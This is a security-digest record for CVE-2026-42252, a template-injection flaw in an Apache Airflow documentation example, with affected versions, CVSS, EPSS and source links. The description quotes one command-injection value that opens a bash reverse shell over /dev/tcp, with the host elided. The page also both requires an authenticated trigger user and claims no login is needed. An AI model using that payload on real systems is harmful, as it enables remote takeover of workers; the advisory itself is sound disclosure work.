---
title: "CVE-2026-42252: Apache Airflow vulnerable to Improper Neutralization of Special Elements Used in a Template Engine"
url: https://erroneo.us/security/cve/CVE-2026-42252/
description: "CVE-2026-42252 (apache-airflow (PyPI)): Apache Airflow's official documentation at core-concepts/dag-run.html (\"Passing Parameters when triggering Dags\")…"
type: vulnerability-record
section: "Security Digest"
date_published: 2026-06-01
date_modified: 2026-07-09
publisher: erroneo.us
author: erroneo.us Security Desk
cve: "CVE-2026-42252"
kev: false
cvss: 9.1
epss: 0.00592
license: All rights reserved. Quote with attribution and a link.
---

# CVE-2026-42252: Apache Airflow vulnerable to Improper Neutralization of Special Elements Used in a Template Engine

**Signal:** Critical and remotely reachable. No known exploitation yet, but it is network-reachable without credentials. (Computed from CISA KEV, EPSS and CVSS; not an editorial verdict.)

## Should you act?

- No confirmed exploitation. It is not in CISA’s KEV catalog and CISA’s SSVC assessment records no known exploitation. That can change quickly after a public write-up; re-check if you are affected.
- EPSS 0.6% , percentile 48: FIRST’s model estimates a 0.6% chance of exploitation activity in the next 30 days, higher than 48% of all scored CVEs (low). EPSS is a probability, not a verdict.
- Remotely reachable with no login and no user interaction. If the vulnerable service is exposed to the internet, prioritize it.
- Only applies if your dependency tree includes apache-airflow (PyPI) >= 3.0.0, < 3.2.2, fixed in 3.2.2 . Check your lockfile, including transitive dependencies.

## What it is

Apache Airflow's official documentation at core-concepts/dag-run.html ("Passing Parameters when triggering Dags") showed a verbatim BashOperator(bashcommand="echo value: {{ dagrun.conf['conf1'] }}") example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had Dag.cantrigger permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the conf field of the trigger API: an authenticated trigger user could supply "; bash -i >& /dev/tcp/.../9999 0>&1; #" as a conf value and reach an os.exec on the worker. This CVE covers the documentation correction in apache/airflow PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to apache-airflow 3.2.2 or later to pick up the corrected documentation shipped with the release.

## Affected packages

- PyPI `apache-airflow` >= 3.0.0, < 3.2.2 → fixed: 3.2.2

## Affected products (CVE record)

- Apache Software Foundation Apache Airflow: 3.0.0 < 3.2.2

## Severity

- CISA-ADP CVSS 3.1: 9.1 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`
- GitHub CVSS 3.1: 9.1 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`

## Exploitation

- CISA KEV: not listed (no confirmed in-the-wild exploitation known to CISA).
- CISA SSVC assessment: exploitation none , automatable yes , technical impact total .
- FIRST EPSS (model of 2026-10-21): 0.59% probability of exploitation activity in the next 30 days; percentile 48.

## Sources

- [github.com](https://github.com/apache/airflow/pull/64129)
- [lists.apache.org](https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7)
- [GitHub Advisory GHSA-c85c-g9wv-pph2](https://github.com/advisories/GHSA-c85c-g9wv-pph2)
- [CVE.org record CVE-2026-42252](https://www.cve.org/CVERecord?id=CVE-2026-42252)
- [NVD entry CVE-2026-42252](https://nvd.nist.gov/vuln/detail/CVE-2026-42252)
- [github.com](https://github.com/pypa/advisory-database/tree/main/vulns/apache-airflow/PYSEC-2026-184.yaml)

---
Source page: https://erroneo.us/security/cve/CVE-2026-42252/ · Security Digest: https://erroneo.us/security/ · More: https://erroneo.us/llms.txt